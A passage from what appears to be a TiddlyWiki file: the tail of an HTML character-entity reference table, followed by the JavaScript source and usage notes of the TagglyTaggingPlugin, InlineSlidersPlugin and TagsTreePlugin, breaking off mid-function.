|27 |{{{ESC }}}|escape|
|28 |{{{FS }}}|file separator|
|29 |{{{GS }}}|group separator|
|30 |{{{RS }}}|record separator|
|31 |{{{US }}}|unit separator|
| ... | ... | ... |
|127 |{{{DEL }}}|delete (rubout)|
!ASCII Entities with Entity Names
|Result |Description |Entity Name |Entity Number|
|{{{" }}}|quotation mark |{{{"}}} |{{{"}}}|
|{{{' }}}|apostrophe |{{{'}}} (does not work in IE) |{{{'}}}|
|{{{& }}}|ampersand |{{{&}}} |{{{&}}}|
|{{{< }}}|less-than |{{{<}}} |{{{<}}}|
|{{{> }}}|greater-than |{{{>}}} |{{{>}}}|
!ISO 8859-1 Symbol Entities
|Result |Description |Entity Name |Entity Number|
|{{{ }}}|non-breaking space |{{{ }}} |{{{ }}}|
|{{{¡ }}}|inverted exclamation mark |{{{¡}}} |{{{¡}}}|
|{{{¢ }}}|cent |{{{¢}}} |{{{¢}}}|
|{{{£ }}}|pound |{{{£}}} |{{{£}}}|
|{{{¤ }}}|currency |{{{¤}}} |{{{¤}}}|
|{{{¥ }}}|yen |{{{¥}}} |{{{¥}}}|
|{{{¦ }}}|broken vertical bar |{{{¦}}} |{{{¦}}}|
|{{{§ }}}|section |{{{§}}} |{{{§}}}|
|{{{¨ }}}|spacing diaeresis |{{{¨}}} |{{{¨}}}|
|{{{© }}}|copyright |{{{©}}} |{{{©}}}|
|{{{ª }}}|feminine ordinal indicator |{{{ª}}} |{{{ª}}}|
|{{{« }}}|angle quotation mark (left) |{{{«}}} |{{{«}}}|
|{{{¬ }}}|negation |{{{¬}}} |{{{¬}}}|
|{{{­ }}}|soft hyphen |{{{­}}} |{{{­}}}|
|{{{® }}}|registered trademark |{{{®}}} |{{{®}}}|
|{{{¯ }}}|spacing macron |{{{¯}}} |{{{¯}}}|
|{{{° }}}|degree |{{{°}}} |{{{°}}}|
|{{{± }}}|plus-or-minus |{{{±}}} |{{{±}}}|
|{{{² }}}|superscript 2 |{{{²}}} |{{{²}}}|
|{{{³ }}}|superscript 3 |{{{³}}} |{{{³}}}|
|{{{´ }}}|spacing acute |{{{´}}} |{{{´}}}|
|{{{µ }}}|micro |{{{µ}}} |{{{µ}}}|
|{{{¶ }}}|paragraph |{{{¶}}} |{{{¶}}}|
|{{{· }}}|middle dot |{{{·}}} |{{{·}}}|
|{{{¸ }}}|spacing cedilla |{{{¸}}} |{{{¸}}}|
|{{{¹ }}}|superscript 1 |{{{¹}}} |{{{¹}}}|
|{{{º }}}|masculine ordinal indicator |{{{º}}} |{{{º}}}|
|{{{» }}}|angle quotation mark (right) |{{{»}}} |{{{»}}}|
|{{{¼ }}}|fraction 1/4 |{{{¼}}} |{{{¼}}}|
|{{{½ }}}|fraction 1/2 |{{{½}}} |{{{½}}}|
|{{{¾ }}}|fraction 3/4 |{{{¾}}} |{{{¾}}}|
|{{{¿ }}}|inverted question mark |{{{¿}}} |{{{¿}}}|
|{{{× }}}|multiplication |{{{×}}} |{{{×}}}|
|{{{÷ }}}|division |{{{÷}}} |{{{÷}}}|
!ISO 8859-1 Character Entities
|Result |Description |Entity Name |Entity Number|
|{{{À }}}|capital a, grave accent |{{{À}}} |{{{À}}}|
|{{{Á }}}|capital a, acute accent |{{{Á}}} |{{{Á}}}|
|{{{Â }}}|capital a, circumflex accent |{{{Â}}} |{{{Â}}}|
|{{{Ã }}}|capital a, tilde |{{{Ã}}} |{{{Ã}}}|
|{{{Ä }}}|capital a, umlaut mark |{{{Ä}}} |{{{Ä}}}|
|{{{Å }}}|capital a, ring |{{{Å}}} |{{{Å}}}|
|{{{Æ }}}|capital ae |{{{Æ}}} |{{{Æ}}}|
|{{{Ç }}}|capital c, cedilla |{{{Ç}}} |{{{Ç}}}|
|{{{È }}}|capital e, grave accent |{{{È}}} |{{{È}}}|
|{{{É }}}|capital e, acute accent |{{{É}}} |{{{É}}}|
|{{{Ê }}}|capital e, circumflex accent |{{{Ê}}} |{{{Ê}}}|
|{{{Ë }}}|capital e, umlaut mark |{{{Ë}}} |{{{Ë}}}|
|{{{Ì }}}|capital i, grave accent |{{{Ì}}} |{{{Ì}}}|
|{{{Í }}}|capital i, acute accent |{{{Í}}} |{{{Í}}}|
|{{{Î }}}|capital i, circumflex accent |{{{Î}}} |{{{Î}}}|
|{{{Ï }}}|capital i, umlaut mark |{{{Ï}}} |{{{Ï}}}|
|{{{Ð }}}|capital eth, Icelandic |{{{Ð}}} |{{{Ð}}}|
|{{{Ñ }}}|capital n, tilde |{{{Ñ}}} |{{{Ñ}}}|
|{{{Ò }}}|capital o, grave accent |{{{Ò}}} |{{{Ò}}}|
|{{{Ó }}}|capital o, acute accent |{{{Ó}}} |{{{Ó}}}|
|{{{Ô }}}|capital o, circumflex accent |{{{Ô}}} |{{{Ô}}}|
|{{{Õ }}}|capital o, tilde |{{{Õ}}} |{{{Õ}}}|
|{{{Ö }}}|capital o, umlaut mark |{{{Ö}}} |{{{Ö}}}|
|{{{Ø }}}|capital o, slash |{{{Ø}}} |{{{Ø}}}|
|{{{Ù }}}|capital u, grave accent |{{{Ù}}} |{{{Ù}}}|
|{{{Ú }}}|capital u, acute accent |{{{Ú}}} |{{{Ú}}}|
|{{{Û }}}|capital u, circumflex accent |{{{Û}}} |{{{Û}}}|
|{{{Ü }}}|capital u, umlaut mark |{{{Ü}}} |{{{Ü}}}|
|{{{Ý }}}|capital y, acute accent |{{{Ý}}} |{{{Ý}}}|
|{{{Þ }}}|capital THORN, Icelandic |{{{Þ}}} |{{{Þ}}}|
|{{{ß }}}|small sharp s, German |{{{ß}}} |{{{ß}}}|
|{{{à }}}|small a, grave accent |{{{à}}} |{{{à}}}|
|{{{á }}}|small a, acute accent |{{{á}}} |{{{á}}}|
|{{{â }}}|small a, circumflex accent |{{{â}}} |{{{â}}}|
|{{{ã }}}|small a, tilde |{{{ã}}} |{{{ã}}}|
|{{{ä }}}|small a, umlaut mark |{{{ä}}} |{{{ä}}}|
|{{{å }}}|small a, ring |{{{å}}} |{{{å}}}|
|{{{æ }}}|small ae |{{{æ}}} |{{{æ}}}|
|{{{ç }}}|small c, cedilla |{{{ç}}} |{{{ç}}}|
|{{{è }}}|small e, grave accent |{{{è}}} |{{{è}}}|
|{{{é }}}|small e, acute accent |{{{é}}} |{{{é}}}|
|{{{ê }}}|small e, circumflex accent |{{{ê}}} |{{{ê}}}|
|{{{ë }}}|small e, umlaut mark |{{{ë}}} |{{{ë}}}|
|{{{ì }}}|small i, grave accent |{{{ì}}} |{{{ì}}}|
|{{{í }}}|small i, acute accent |{{{í}}} |{{{í}}}|
|{{{î }}}|small i, circumflex accent |{{{î}}} |{{{î}}}|
|{{{ï }}}|small i, umlaut mark |{{{ï}}} |{{{ï}}}|
|{{{ð }}}|small eth, Icelandic |{{{ð}}} |{{{ð}}}|
|{{{ñ }}}|small n, tilde |{{{ñ}}} |{{{ñ}}}|
|{{{ò }}}|small o, grave accent |{{{ò}}} |{{{ò}}}|
|{{{ó }}}|small o, acute accent |{{{ó}}} |{{{ó}}}|
|{{{ô }}}|small o, circumflex accent |{{{ô}}} |{{{ô}}}|
|{{{õ }}}|small o, tilde |{{{õ}}} |{{{õ}}}|
|{{{ö }}}|small o, umlaut mark |{{{ö}}} |{{{ö}}}|
|{{{ø }}}|small o, slash |{{{ø}}} |{{{ø}}}|
|{{{ù }}}|small u, grave accent |{{{ù}}} |{{{ù}}}|
|{{{ú }}}|small u, acute accent |{{{ú}}} |{{{ú}}}|
|{{{û }}}|small u, circumflex accent |{{{û}}} |{{{û}}}|
|{{{ü }}}|small u, umlaut mark |{{{ü}}} |{{{ü}}}|
|{{{ý }}}|small y, acute accent |{{{ý}}} |{{{ý}}}|
|{{{þ }}}|small thorn, Icelandic |{{{þ}}} |{{{þ}}}|
|{{{ÿ }}}|small y, umlaut mark |{{{ÿ}}} |{{{ÿ}}}|
/***
|Name:|TagglyTaggingPlugin|
|Description:|tagglyTagging macro is a replacement for the builtin tagging macro in your ViewTemplate|
|Version:|3.3.1 ($Rev: 6100 $)|
|Date:|$Date: 2008-07-27 01:42:07 +1000 (Sun, 27 Jul 2008) $|
|Source:|http://mptw.tiddlyspot.com/#TagglyTaggingPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
!Notes
See http://mptw.tiddlyspot.com/#TagglyTagging
***/
//{{{
merge(String.prototype,{
parseTagExpr: function(debug) {
if (this.trim() == "")
return "(true)";
var anyLogicOp = /(!|&&|\|\||\(|\))/g;
var singleLogicOp = /^(!|&&|\|\||\(|\))$/;
var spaced = this.
// because square brackets in templates are no good
// this means you can use [(With Spaces)] instead of [[With Spaces]]
replace(/\[\(/g," [[").
replace(/\)\]/g,"]] ").
// space things out so we can use readBracketedList. tricky eh?
replace(anyLogicOp," $1 ");
var expr = "";
var tokens = spaced.readBracketedList(false); // false means don't uniq the list. nice one JR!
for (var i=0;i<tokens.length;i++)
if (tokens[i].match(singleLogicOp))
expr += tokens[i];
else
expr += "tiddler.tags.contains('%0')".format([tokens[i].replace(/'/,"\\'")]); // fix single quote bug. still have round bracket bug i think
if (debug)
alert(expr);
return '('+expr+')';
}
});
merge(TiddlyWiki.prototype,{
getTiddlersByTagExpr: function(tagExpr,sortField) {
var result = [];
var expr = tagExpr.parseTagExpr();
store.forEachTiddler(function(title,tiddler) {
if (eval(expr))
result.push(tiddler);
});
if(!sortField)
sortField = "title";
result.sort(function(a,b) {return a[sortField] < b[sortField] ? -1 : (a[sortField] == b[sortField] ? 0 : +1);});
return result;
}
});
config.taggly = {
// for translations
lingo: {
labels: {
asc: "\u2191", // down arrow
desc: "\u2193", // up arrow
title: "title",
modified: "modified",
created: "created",
show: "+",
hide: "-",
normal: "normal",
group: "group",
commas: "commas",
sitemap: "sitemap",
numCols: "cols\u00b1", // plus minus sign
label: "Tagged as '%0':",
exprLabel: "Matching tag expression '%0':",
excerpts: "excerpts",
descr: "descr",
slices: "slices",
contents: "contents",
sliders: "sliders",
noexcerpts: "title only",
noneFound: "(none)"
},
tooltips: {
title: "Click to sort by title",
modified: "Click to sort by modified date",
created: "Click to sort by created date",
show: "Click to show tagging list",
hide: "Click to hide tagging list",
normal: "Click to show a normal ungrouped list",
group: "Click to show list grouped by tag",
sitemap: "Click to show a sitemap style list",
commas: "Click to show a comma separated list",
numCols: "Click to change number of columns",
excerpts: "Click to show excerpts",
descr: "Click to show the description slice",
slices: "Click to show all slices",
contents: "Click to show entire tiddler contents",
sliders: "Click to show tiddler contents in sliders",
noexcerpts: "Click to show entire title only"
},
tooDeepMessage: "* //sitemap too deep...//"
},
config: {
showTaggingCounts: true,
listOpts: {
// the first one will be the default
sortBy: ["title","modified","created"],
sortOrder: ["asc","desc"],
hideState: ["show","hide"],
listMode: ["normal","group","sitemap","commas"],
numCols: ["1","2","3","4","5","6"],
excerpts: ["noexcerpts","excerpts","descr","slices","contents","sliders"]
},
valuePrefix: "taggly.",
excludeTags: ["excludeLists","excludeTagging"],
excerptSize: 50,
excerptMarker: "/%"+"%/",
siteMapDepthLimit: 25
},
getTagglyOpt: function(title,opt) {
var val = store.getValue(title,this.config.valuePrefix+opt);
return val ? val : this.config.listOpts[opt][0];
},
setTagglyOpt: function(title,opt,value) {
if (!store.tiddlerExists(title))
// create it silently
store.saveTiddler(title,title,config.views.editor.defaultText.format([title]),config.options.txtUserName,new Date(),"");
// if value is default then remove it to save space
return store.setValue(title,
this.config.valuePrefix+opt,
value == this.config.listOpts[opt][0] ? null : value);
},
getNextValue: function(title,opt) {
var current = this.getTagglyOpt(title,opt);
var pos = this.config.listOpts[opt].indexOf(current);
// a little usability enhancement. actually it doesn't work right for grouped or sitemap
var limit = (opt == "numCols" ? store.getTiddlersByTagExpr(title).length : this.config.listOpts[opt].length);
var newPos = (pos + 1) % limit;
return this.config.listOpts[opt][newPos];
},
toggleTagglyOpt: function(title,opt) {
var newVal = this.getNextValue(title,opt);
this.setTagglyOpt(title,opt,newVal);
},
createListControl: function(place,title,type) {
var lingo = config.taggly.lingo;
var label;
var tooltip;
var onclick;
if ((type == "title" || type == "modified" || type == "created")) {
// "special" controls. a little tricky. derived from sortOrder and sortBy
label = lingo.labels[type];
tooltip = lingo.tooltips[type];
if (this.getTagglyOpt(title,"sortBy") == type) {
label += lingo.labels[this.getTagglyOpt(title,"sortOrder")];
onclick = function() {
config.taggly.toggleTagglyOpt(title,"sortOrder");
return false;
}
}
else {
onclick = function() {
config.taggly.setTagglyOpt(title,"sortBy",type);
config.taggly.setTagglyOpt(title,"sortOrder",config.taggly.config.listOpts.sortOrder[0]);
return false;
}
}
}
else {
// "regular" controls, nice and simple
label = lingo.labels[type == "numCols" ? type : this.getNextValue(title,type)];
tooltip = lingo.tooltips[type == "numCols" ? type : this.getNextValue(title,type)];
onclick = function() {
config.taggly.toggleTagglyOpt(title,type);
return false;
}
}
// hide button because commas don't have columns
if (!(this.getTagglyOpt(title,"listMode") == "commas" && type == "numCols"))
createTiddlyButton(place,label,tooltip,onclick,type == "hideState" ? "hidebutton" : "button");
},
makeColumns: function(orig,numCols) {
var listSize = orig.length;
var colSize = listSize/numCols;
var remainder = listSize % numCols;
var upperColsize = colSize;
var lowerColsize = colSize;
if (colSize != Math.floor(colSize)) {
// it's not an exact fit so..
upperColsize = Math.floor(colSize) + 1;
lowerColsize = Math.floor(colSize);
}
var output = [];
var c = 0;
for (var j=0;j<numCols;j++) {
var singleCol = [];
var thisSize = j < remainder ? upperColsize : lowerColsize;
for (var i=0;i<thisSize;i++)
singleCol.push(orig[c++]);
output.push(singleCol);
}
return output;
},
drawTable: function(place,columns,theClass) {
var newTable = createTiddlyElement(place,"table",null,theClass);
var newTbody = createTiddlyElement(newTable,"tbody");
var newTr = createTiddlyElement(newTbody,"tr");
for (var j=0;j<columns.length;j++) {
var colOutput = "";
for (var i=0;i<columns[j].length;i++)
colOutput += columns[j][i];
var newTd = createTiddlyElement(newTr,"td",null,"tagglyTagging"); // todo should not need this class
wikify(colOutput,newTd);
}
return newTable;
},
createTagglyList: function(place,title,isTagExpr) {
switch(this.getTagglyOpt(title,"listMode")) {
case "group": return this.createTagglyListGrouped(place,title,isTagExpr); break;
case "normal": return this.createTagglyListNormal(place,title,false,isTagExpr); break;
case "commas": return this.createTagglyListNormal(place,title,true,isTagExpr); break;
case "sitemap":return this.createTagglyListSiteMap(place,title,isTagExpr); break;
}
},
getTaggingCount: function(title,isTagExpr) {
// thanks to Doug Edmunds
if (this.config.showTaggingCounts) {
var tagCount = config.taggly.getTiddlers(title,'title',isTagExpr).length;
if (tagCount > 0)
return " ("+tagCount+")";
}
return "";
},
getTiddlers: function(titleOrExpr,sortBy,isTagExpr) {
return isTagExpr ? store.getTiddlersByTagExpr(titleOrExpr,sortBy) : store.getTaggedTiddlers(titleOrExpr,sortBy);
},
getExcerpt: function(inTiddlerTitle,title,indent) {
if (!indent)
indent = 1;
var displayMode = this.getTagglyOpt(inTiddlerTitle,"excerpts");
var t = store.getTiddler(title);
if (t && displayMode == "excerpts") {
var text = t.text.replace(/\n/," ");
var marker = text.indexOf(this.config.excerptMarker);
if (marker != -1) {
return " {{excerpt{<nowiki>" + text.substr(0,marker) + "</nowiki>}}}";
}
else if (text.length < this.config.excerptSize) {
return " {{excerpt{<nowiki>" + t.text + "</nowiki>}}}";
}
else {
return " {{excerpt{<nowiki>" + t.text.substr(0,this.config.excerptSize) + "..." + "</nowiki>}}}";
}
}
else if (t && displayMode == "contents") {
return "\n{{contents indent"+indent+"{\n" + t.text + "\n}}}";
}
else if (t && displayMode == "sliders") {
return "<slider slide>\n{{contents{\n" + t.text + "\n}}}\n</slider>";
}
else if (t && displayMode == "descr") {
var descr = store.getTiddlerSlice(title,'Description');
return descr ? " {{excerpt{" + descr + "}}}" : "";
}
else if (t && displayMode == "slices") {
var result = "";
var slices = store.calcAllSlices(title);
for (var s in slices)
result += "|%0|<nowiki>%1</nowiki>|\n".format([s,slices[s]]);
return result ? "\n{{excerpt excerptIndent{\n" + result + "}}}" : "";
}
return "";
},
notHidden: function(t,inTiddler) {
if (typeof t == "string")
t = store.getTiddler(t);
return (!t || !t.tags.containsAny(this.config.excludeTags) ||
(inTiddler && this.config.excludeTags.contains(inTiddler)));
},
// this is for normal and commas mode
createTagglyListNormal: function(place,title,useCommas,isTagExpr) {
var list = config.taggly.getTiddlers(title,this.getTagglyOpt(title,"sortBy"),isTagExpr);
if (this.getTagglyOpt(title,"sortOrder") == "desc")
list = list.reverse();
var output = [];
var first = true;
for (var i=0;i<list.length;i++) {
if (this.notHidden(list[i],title)) {
var countString = this.getTaggingCount(list[i].title);
var excerpt = this.getExcerpt(title,list[i].title);
if (useCommas)
output.push((first ? "" : ", ") + "[[" + list[i].title + "]]" + countString + excerpt);
else
output.push("*[[" + list[i].title + "]]" + countString + excerpt + "\n");
first = false;
}
}
return this.drawTable(place,
this.makeColumns(output,useCommas ? 1 : parseInt(this.getTagglyOpt(title,"numCols"))),
useCommas ? "commas" : "normal");
},
// this is for the "grouped" mode
createTagglyListGrouped: function(place,title,isTagExpr) {
var sortBy = this.getTagglyOpt(title,"sortBy");
var sortOrder = this.getTagglyOpt(title,"sortOrder");
var list = config.taggly.getTiddlers(title,sortBy,isTagExpr);
if (sortOrder == "desc")
list = list.reverse();
var leftOvers = []
for (var i=0;i<list.length;i++)
leftOvers.push(list[i].title);
var allTagsHolder = {};
for (var i=0;i<list.length;i++) {
for (var j=0;j<list[i].tags.length;j++) {
if (list[i].tags[j] != title) { // not this tiddler
if (this.notHidden(list[i].tags[j],title)) {
if (!allTagsHolder[list[i].tags[j]])
allTagsHolder[list[i].tags[j]] = "";
if (this.notHidden(list[i],title)) {
allTagsHolder[list[i].tags[j]] += "**[["+list[i].title+"]]"
+ this.getTaggingCount(list[i].title) + this.getExcerpt(title,list[i].title) + "\n";
leftOvers.setItem(list[i].title,-1); // remove from leftovers. at the end it will contain the leftovers
}
}
}
}
}
var allTags = [];
for (var t in allTagsHolder)
allTags.push(t);
var sortHelper = function(a,b) {
if (a == b) return 0;
if (a < b) return -1;
return 1;
};
allTags.sort(function(a,b) {
var tidA = store.getTiddler(a);
var tidB = store.getTiddler(b);
if (sortBy == "title") return sortHelper(a,b);
else if (!tidA && !tidB) return 0;
else if (!tidA) return -1;
else if (!tidB) return +1;
else return sortHelper(tidA[sortBy],tidB[sortBy]);
});
var leftOverOutput = "";
for (var i=0;i<leftOvers.length;i++)
if (this.notHidden(leftOvers[i],title))
leftOverOutput += "*[["+leftOvers[i]+"]]" + this.getTaggingCount(leftOvers[i]) + this.getExcerpt(title,leftOvers[i]) + "\n";
var output = [];
if (sortOrder == "desc")
allTags.reverse();
else if (leftOverOutput != "")
// leftovers first...
output.push(leftOverOutput);
for (var i=0;i<allTags.length;i++)
if (allTagsHolder[allTags[i]] != "")
output.push("*[["+allTags[i]+"]]" + this.getTaggingCount(allTags[i]) + this.getExcerpt(title,allTags[i]) + "\n" + allTagsHolder[allTags[i]]);
if (sortOrder == "desc" && leftOverOutput != "")
// leftovers last...
output.push(leftOverOutput);
return this.drawTable(place,
this.makeColumns(output,parseInt(this.getTagglyOpt(title,"numCols"))),
"grouped");
},
// used to build site map
treeTraverse: function(title,depth,sortBy,sortOrder,isTagExpr) {
var list = config.taggly.getTiddlers(title,sortBy,isTagExpr);
if (sortOrder == "desc")
list.reverse();
var indent = "";
for (var j=0;j<depth;j++)
indent += "*"
var childOutput = "";
if (depth > this.config.siteMapDepthLimit)
childOutput += indent + this.lingo.tooDeepMessage;
else
for (var i=0;i<list.length;i++)
if (list[i].title != title)
if (this.notHidden(list[i].title,this.config.inTiddler))
childOutput += this.treeTraverse(list[i].title,depth+1,sortBy,sortOrder,false);
if (depth == 0)
return childOutput;
else
return indent + "[["+title+"]]" + this.getTaggingCount(title) + this.getExcerpt(this.config.inTiddler,title,depth) + "\n" + childOutput;
},
// this if for the site map mode
createTagglyListSiteMap: function(place,title,isTagExpr) {
this.config.inTiddler = title; // nasty. should pass it in to traverse probably
var output = this.treeTraverse(title,0,this.getTagglyOpt(title,"sortBy"),this.getTagglyOpt(title,"sortOrder"),isTagExpr);
return this.drawTable(place,
this.makeColumns(output.split(/(?=^\*\[)/m),parseInt(this.getTagglyOpt(title,"numCols"))), // regexp magic
"sitemap"
);
},
macros: {
tagglyTagging: {
handler: function (place,macroName,params,wikifier,paramString,tiddler) {
var parsedParams = paramString.parseParams("tag",null,true);
var refreshContainer = createTiddlyElement(place,"div");
// do some refresh magic to make it keep the list fresh - thanks Saq
refreshContainer.setAttribute("refresh","macro");
refreshContainer.setAttribute("macroName",macroName);
var tag = getParam(parsedParams,"tag");
var expr = getParam(parsedParams,"expr");
if (expr) {
refreshContainer.setAttribute("isTagExpr","true");
refreshContainer.setAttribute("title",expr);
refreshContainer.setAttribute("showEmpty","true");
}
else {
refreshContainer.setAttribute("isTagExpr","false");
if (tag) {
refreshContainer.setAttribute("title",tag);
refreshContainer.setAttribute("showEmpty","true");
}
else {
refreshContainer.setAttribute("title",tiddler.title);
refreshContainer.setAttribute("showEmpty","false");
}
}
this.refresh(refreshContainer);
},
refresh: function(place) {
var title = place.getAttribute("title");
var isTagExpr = place.getAttribute("isTagExpr") == "true";
var showEmpty = place.getAttribute("showEmpty") == "true";
removeChildren(place);
addClass(place,"tagglyTagging");
var countFound = config.taggly.getTiddlers(title,'title',isTagExpr).length
if (countFound > 0 || showEmpty) {
var lingo = config.taggly.lingo;
config.taggly.createListControl(place,title,"hideState");
if (config.taggly.getTagglyOpt(title,"hideState") == "show") {
createTiddlyElement(place,"span",null,"tagglyLabel",
isTagExpr ? lingo.labels.exprLabel.format([title]) : lingo.labels.label.format([title]));
config.taggly.createListControl(place,title,"title");
config.taggly.createListControl(place,title,"modified");
config.taggly.createListControl(place,title,"created");
config.taggly.createListControl(place,title,"listMode");
config.taggly.createListControl(place,title,"excerpts");
config.taggly.createListControl(place,title,"numCols");
config.taggly.createTagglyList(place,title,isTagExpr);
if (countFound == 0 && showEmpty)
createTiddlyElement(place,"div",null,"tagglyNoneFound",lingo.labels.noneFound);
}
}
}
}
},
// todo fix these up a bit
styles: [
"/*{{{*/",
"/* created by TagglyTaggingPlugin */",
".tagglyTagging { padding-top:0.5em; }",
".tagglyTagging li.listTitle { display:none; }",
".tagglyTagging ul {",
" margin-top:0px; padding-top:0.5em; padding-left:2em;",
" margin-bottom:0px; padding-bottom:0px;",
"}",
".tagglyTagging { vertical-align: top; margin:0px; padding:0px; }",
".tagglyTagging table { margin:0px; padding:0px; }",
".tagglyTagging .button { visibility:hidden; margin-left:3px; margin-right:3px; }",
".tagglyTagging .button, .tagglyTagging .hidebutton {",
" color:[[ColorPalette::TertiaryLight]]; font-size:90%;",
" border:0px; padding-left:0.3em;padding-right:0.3em;",
"}",
".tagglyTagging .button:hover, .hidebutton:hover, ",
".tagglyTagging .button:active, .hidebutton:active {",
" border:0px; background:[[ColorPalette::TertiaryPale]]; color:[[ColorPalette::TertiaryDark]];",
"}",
".selected .tagglyTagging .button { visibility:visible; }",
".tagglyTagging .hidebutton { color:[[ColorPalette::Background]]; }",
".selected .tagglyTagging .hidebutton { color:[[ColorPalette::TertiaryLight]] }",
".tagglyLabel { color:[[ColorPalette::TertiaryMid]]; font-size:90%; }",
".tagglyTagging ul {padding-top:0px; padding-bottom:0.5em; margin-left:1em; }",
".tagglyTagging ul ul {list-style-type:disc; margin-left:-1em;}",
".tagglyTagging ul ul li {margin-left:0.5em; }",
".editLabel { font-size:90%; padding-top:0.5em; }",
".tagglyTagging .commas { padding-left:1.8em; }",
"/* not technically tagglytagging but will put them here anyway */",
".tagglyTagged li.listTitle { display:none; }",
".tagglyTagged li { display: inline; font-size:90%; }",
".tagglyTagged ul { margin:0px; padding:0px; }",
".excerpt { color:[[ColorPalette::TertiaryDark]]; }",
".excerptIndent { margin-left:4em; }",
"div.tagglyTagging table,",
"div.tagglyTagging table tr,",
"td.tagglyTagging",
" {border-style:none!important; }",
".tagglyTagging .contents { border-bottom:2px solid [[ColorPalette::TertiaryPale]]; padding:0 1em 1em 0.5em;",
" margin-bottom:0.5em; }",
".tagglyTagging .indent1 { margin-left:3em; }",
".tagglyTagging .indent2 { margin-left:4em; }",
".tagglyTagging .indent3 { margin-left:5em; }",
".tagglyTagging .indent4 { margin-left:6em; }",
".tagglyTagging .indent5 { margin-left:7em; }",
".tagglyTagging .indent6 { margin-left:8em; }",
".tagglyTagging .indent7 { margin-left:9em; }",
".tagglyTagging .indent8 { margin-left:10em; }",
".tagglyTagging .indent9 { margin-left:11em; }",
".tagglyTagging .indent10 { margin-left:12em; }",
".tagglyNoneFound { margin-left:2em; color:[[ColorPalette::TertiaryMid]]; font-size:90%; font-style:italic; }",
"/*}}}*/",
""].join("\n"),
init: function() {
merge(config.macros,this.macros);
config.shadowTiddlers["TagglyTaggingStyles"] = this.styles;
store.addNotification("TagglyTaggingStyles",refreshStyles);
}
};
config.taggly.init();
//}}}
/***
InlineSlidersPlugin
By Saq Imtiaz
http://tw.lewcid.org/sandbox/#InlineSlidersPlugin
// syntax adjusted to not clash with NestedSlidersPlugin
// added + syntax to start open instead of closed
***/
//{{{
config.formatters.unshift( {
name: "inlinesliders",
// match: "\\+\\+\\+\\+|\\<slider",
match: "\\<slider",
// lookaheadRegExp: /(?:\+\+\+\+|<slider) (.*?)(?:>?)\n((?:.|\n)*?)\n(?:====|<\/slider>)/mg,
lookaheadRegExp: /(?:<slider)(\+?) (.*?)(?:>)\n((?:.|\n)*?)\n(?:<\/slider>)/mg,
handler: function(w) {
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source)
if(lookaheadMatch && lookaheadMatch.index == w.matchStart ) {
var btn = createTiddlyButton(w.output,lookaheadMatch[2] + " "+"\u00BB",lookaheadMatch[2],this.onClickSlider,"button sliderButton");
var panel = createTiddlyElement(w.output,"div",null,"sliderPanel");
panel.style.display = (lookaheadMatch[1] == '+' ? "block" : "none");
wikify(lookaheadMatch[3],panel);
w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
}
},
onClickSlider : function(e) {
if(!e) var e = window.event;
var n = this.nextSibling;
n.style.display = (n.style.display=="none") ? "block" : "none";
return false;
}
});
//}}}
/***
|''Name:''|TagsTreePlugin|
|''Description:''|Displays tags hierachy as a tree of tagged tiddlers.<br>Can be used to create dynamic outline navigation.|
|''Version:''|1.0.1|
|''Date:''|Jan 04,2008|
|''Source:''|http://visualtw.ouvaton.org/VisualTW.html|
|''Author:''|Pascal Collin|
|''License:''|[[BSD open source license|License]]|
|''~CoreVersion:''|2.1.0|
|''Browser:''|Firefox 2.0; InternetExplorer 6.0|
!Demo
On the plugin [[homepage|http://visualtw.ouvaton.org/VisualTW.html]] :
*Try to tag some <<newTiddler>> with a tag displayed in the menu and edit MainMenu.
*Look at some tags like [[Plugins]] or [[menu]].
!Installation
#import the plugin,
#save and reload,
#optionally, edit TagsTreeStyleSheet.
! Usage
{{{<<tagsTree>>}}} macro accepts the following //optional// parameters.
|!#|!parameter|!description|!by default|
|1|{{{root}}}|Uses {{{root}}} tag as tree root|- In a //tiddler// content or template : uses the tiddler as root tag.<br>- In the //page// content or template (by ex MainMenu) : displays all untagged tags.|
|2|{{{excludeTag}}}|Excludes all such tagged tiddlers from the tree|Uses default excludeLists tag|
|3|{{{level}}}|Expands nodes until level {{{level}}}.<br>Value {{{0}}} hides expand/collapse buttons.|Nodes are collapsed on first level|
|4|{{{depth}}}|Hierachy depth|6 levels depth (H1 to H6 header styles)|
|5|{{{sortField}}}|Alternate sort field. By example : "index".|Sorts tags and tiddlers alphabetically (on their title)|
|6|{{{labelField}}}|Alertnate label field. By example : "label".|Displays tiddler's title|
!Useful addons
*[[FieldsEditorPlugin]] : //create//, //edit//, //view// and //delete// commands in toolbar <<toolbar fields>>.
*[[TaggerPlugin]] : Provides a drop down listing current tiddler tags, and allowing toggling of tags.
!Advanced Users
You can change the global defaults for TagsTreePlugin, like default {{{level}}} value or level styles, by editing or overriding the first config.macros.tagsTree attributes below.
!Code
***/
//{{{
config.macros.tagsTree = {
expand : "+",
collapse : "–",
depth : 6,
level : 1,
sortField : "",
labelField : "",
styles : ["h1","h2","h3","h4","h5","h6"],
trees : {}
}
config.macros.tagsTree.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
var root = params[0] ? params[0] : (tiddler ? tiddler.title : null);
var excludeTag = params[1] ? params[1] : "excludeTagsTree";
var level = params[2] ? params[2] : config.macros.tagsTree.level;
var depth = params[3] ? params[3] : config.macros.tagsTree.depth;
var sortField = params[4] ? params[4] : config.macros.tagsTree.sortField;
var labelField = params[5] ? params[5] : config.macros.tagsTree.labelField;
var showButtons = (level>0);
var id = config.macros.tagsTree.getId(place);
if (config.macros.tagsTree.trees[id]==undefined) config.macros.tagsTree.trees[id]={};
config.macros.tagsTree.createSubTree(place,id,root,excludeTag,[],level>0 ? level : 1,depth, sortField, labelField,showButtons);
}
config.macros.tagsTree.createSubTree = function(place, id, root, excludeTag, ancestors, level, depth, sortField, labelField,showButtons){
var childNodes = root ? this.getChildNodes(root, ancestors) : this.getRootTags(excludeTag);
var isOpen = (level>0) || (!showButtons);
if (root && this.trees[id][root]!=undefined) isOpen = this.trees[id][root];
if (root && ancestors.length) {
var t = store.getTiddler(root);
if (childNodes.length && depth>0) {
var wrapper = createTiddlyElement(place , this.styles[Math.min(Math.max(ancestors.length,1),6)-1],null,"branch");
if (showButtons) {
b = createTiddlyButton(wrapper, isOpen ? config.macros.tagsTree.collapse : config.macros.tagsTree.expand, null, config.macros.tagsTree.onClick);
b.setAttribute("treeId",id);
b.setAttribute("tiddler",root);
}
